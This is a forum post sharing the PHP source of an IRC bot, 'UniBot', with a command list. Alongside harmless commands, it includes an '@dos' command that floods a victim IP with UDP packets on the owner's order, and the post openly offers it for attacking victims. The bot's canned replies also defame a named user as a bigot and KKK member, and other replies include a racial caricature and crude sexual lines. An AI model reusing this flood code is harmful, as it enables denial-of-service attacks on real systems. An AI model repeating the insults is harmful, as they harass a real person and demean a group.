+ Reply to Thread
Results 1 to 1 of 1
  1. #1
    Join Date
    Oct 2008
    Posts
    88
    Points
    897,781.00
    Rep Power
    221

    Default PHP IRC Bot - UniBot

    PHP Code:
    <?
    //----------------------------
    //---Scripted by Tonic--------
    //-----Property of UG---------
    //-----You may edit-----------
    //---But cannot take credit--
    //----------------------------
    //Stops the script from timing out after 30 seconds
    set_time_limit(0);

    //Connecting information
    $server="72.51.223.226";

    $Port="6667";

    $nick="UniBot";

    $Channel="#UG";
    $pass = "uniwhore123%123";

    $Channelpass="";


    //Loop booleans

    $loop = 0; $verbonden = 0;
    //Connecting to socket variable

    $verbinden = fsockopen($server, $Port);

    //Start connection and loop

    while(1) {

      while (
    $read = fgets($verbinden)) {


    //Detects strings and converts read variable into an array

    $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);

    $read2 = explode(" ",$read);



    //Starts loop back of login and logs the bot in as UniBot

    if ($loop == 0) {

    fputs($verbinden,"nick $nick\n\n");

    fputs($verbinden,"USER UniBot 0 * :woopie\n\n");
    fputs($verbinden,"PASS uniwhore123%123\n\n");

    }

    //Converts read2 variable into string
    $args = NULL; for ($i = 4; $i < count($read2); $i++) { $args .= $read2[$i] . ' '; }


    if (
    $read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }


    //Joins channel

    if ($read2[1] == 251) {

    fputs($verbinden,"join $Channel $Channelpass\n");

    $verbonden++;

    }

    //Gets user's NICK
    preg_match("/:(.*?)!/i", $read2[0], $matches);

    //Stores user search result into nnick
    $nnick = $matches['1'];

    //Starts random number for shredurface command block
    $id = mt_rand(0, 4);

    //Kick Command, plain kick no reason
    if ((eregi("@kick", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {

    fputs($verbinden,"KICK $Channel $read2[4] \n");

    }

    //Kick command, kicks the user from the channel and puts old school socom error 30 for lagout ;)
    if ((eregi("@boot", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {

    if (
    eregi("UniBot", $read2[4])) {
    fputs($verbinden, "PRIVMSG $Channel :Uhh yes, hi.. um.... $nnick do you think i'm that stupid enough too boot myself? You failed, please.. Just kill yourself $nnick because that was a failed attempt and god should smight you for that epic fail.\n");
    }
    else {

    fputs($verbinden, "KICK $Channel $read2[4] Network error(30)\n");
     }

    }


    //Ban command, bans the username from the channel
    if ((eregi("@ban", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
    fputs ($verbinden, "MODE $Channel +b $read2[4] Network Error(35)\n");
    }

    //Say command, make the bot say something
    if ((eregi("@say", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
    fputs ($verbinden, "PRIVMSG $Channel :$args\n");
    }

    //Detects a person saying hello or hi and replies back
    $hi = '/\bhi\b/i'; // Searches for hi as a single word
    $hello = '/\bhello\b/i'; // Searches for hello as a single word
    if((preg_match($hi, $read)!==0) or preg_match($hello, $read)!==0) {
    fputs ($verbinden, "PRIVMSG $Channel :Well hello there $nnick! Glad you joined the IRC! How are you doing?\n");
    }

    //Slap command, slap a user!
    if (eregi("@slap", $read)) {
    fputs ($verbinden, "PRIVMSG $Channel :Slaps $read2[4] a bit with a large trout\n");
    }

    //Shredurface Command
    if (eregi("shredurface", $read)) {

    if (
    $id == 0) {
    fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is probably one of the biggest incorrect douchebags we have known besides Chuck Norris and .IV.Shooter..\n");
    }
    elseif (
    $id == 1) {
    fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is always insecure because he is scared of people surpassing him and has to swing his giant ePenis around like the man he is.\n");
    }
    elseif (
    $id == 2) {
    fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is so pathetic that he needs to rely on fake pussy from Sammy or should we say Samuel?\n");
    }
    elseif (
    $id == 3) {
    fputs($verbinden, "PRIVMSG $Channel :If you're smarter than Shredurface, you are dumb.\n");
    }
    elseif (
    $id == 4) {
    fputs($verbinden, "PRIVMSG $Channel :Shredurface is a biggot from georgia and is probably a part of the kkk.\n");
    }
    }

    if (
    eregi("@hostname", $read)) {
    fputs($verbinden, "PRIVMSG $Channel :$read2[0]\n");
    }

    //Reconnect command, stops script and refreshes page.. Half-Ass version
    if ((eregi("@reconnect", $read2[3]))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
    fputs ($verbinden, "QUIT :Reconnecting..\n");
    Header("Location: newbot.php");
    }

    //Detects the word sup and replies like a black man
    $sup = '/\bsup\b/i'; // Searches for sup as a single word
    if(preg_match($sup, $read)!==0)
    {
    fputs ($verbinden, "PRIVMSG $Channel :Yo WuD uP dAwG!1!1! I'm UnIbOt\n");
    }

    $bye = '/\bbye\b/i';
    if(
    preg_match($bye, $read)!==0) {
    fputs($verbinden, "PRIVMSG $Channel :Good bye $nnick\n");
    }

    //Converts ASCII to md5 HASH
    if (eregi("@md5", $read)) {
    fputs ($verbinden, "PRIVMSG $Channel :".md5($args). "\n");
    }

    //Detects word sex and blurs out dumb shit
    $botSearch = '/\bsex\b/i'; // Searches for sex as a single word
    if(preg_match($botSearch, $read)!==0)
    {
    fputs ($verbinden, "PRIVMSG $Channel :You know I love sex $nnick, Maybe we should hookup later ;)\n");
     }

    //OP Command, will op the user you put if user is detected
    //Format @op #Channel mode user
    if ((eregi("@op", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
    fputs ($verbinden, "mode $read2[4] $read2[5] $read2[6]\n");
    }

    //ASCII To Hex Conversion function, prints out in HEX
    if (eregi("@hex", $read)) {
        
        
    $hex = '';
        for (
    $i=0; $i < strlen($args); $i++)
        {
            
    $hex .= dechex(ord($args[$i]));
        }
     
    $string = $hex;

    fputs ($verbinden, "PRIVMSG $Channel :$string\n");
    }

    //ASCII To Binary Conversion Function, prints out in BINARY
    if (eregi("@bin", $read)) {
        
    $hex = '';
        for (
    $i=0; $i < strlen($args); $i++)
        {
            
    $hex .= decbin(ord($args[$i]));
        }
     
    $string = $hex;
    fputs ($verbinden, "PRIVMSG $Channel :$string\n");
    }

    //Date Command, prints current date and military time
    if (eregi("@date", $read)) {
    $date = date("l jS \of F Y h:i:s T");
    fputs ($verbinden, "PRIVMSG $Channel :$date\n");
    }
    //Type backwards!
    if (eregi("@rev", $read)) {
    fputs ($verbinden, "PRIVMSG $Channel :".strrev($args)."\n");
    }

    //Join Command, Joins a channel
    if (eregi("@join", $read)) {
    fputs($verbinden, "JOIN $read2[4]\n");
    }

    //Quit command, kills the script
    if ((eregi("@quit", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
    fputs ($verbinden, "QUIT :Master is shutting me down..\n");
    die();
    }

    //DoS command, responds only to your hostname set by IRC
    if ((eregi("@dos",$read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {

    fputs($verbinden,"privmsg $Channel :dos-udp - started udp flood - $read2[4]\n\n");

    $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30); // Stores udp connection into fp

    if (!$fp)

    {

    //Kills command if errors detected

    exit;

    }

    else 
    // continues function if no errors detected

    {

    $char = "%"; // Data to send

    for($a = 0; $a < 9999999999999; $a++) // sets flood amount

    $data = $data.$char; // Multiples data



    if(fputs ($fp, $data) ) // If completed

    fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n"); // Tell channel its finished

    else

    fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n"); // Tell channel if error occured

    }

    }
    $loop++; // Loops the script to keep running
     
    }
    }
    ?>
    You will have to change the &&("!Tonic") crap to your hostname, connect the bot to a IRC and type @hostname and he will state your hostname then paste it over mine and use the fun commands..

    Current commands:
    @hex message (Type in hexadecimal)
    @bin message (Type in binary)
    @md5 message (encrypts with md5)
    @rev message (types backwards)
    @date (Displays date & time *Military time*)
    @hostname (tells you your IRC set hostname, needed for major commands)
    @say message (make the bot say whatever)
    @slap Username (Slap a user with some trout!)
    @join #Channel
    @boot Username
    @kick Username (No reason)
    @ban username/whatever
    @op #Channel +o Username
    @quit (kills the script)
    @reconnect (supposed to refresh script if loading it but its half ass will fix later
    @dos IP (if hosting off yourself you dos the victim with your own net, if with a host that allows irc bots you will use that server to dos)

    Auto-Detection (detect keywords)
    sex (Types back some dumb shit)
    hi or hello (says hello back)
    sup (talks like a OG gangster)
    shredurface (Puts random quotes about shredurface)
    bye (says goodbye too you)

    Enjoy my bot. Worked hard on it
    Last edited by Tonic; 08-10-2009 at 04:52 AM.
    COD5 Online Statistics.


    COD5 Zombie Statistics.

+ Reply to Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts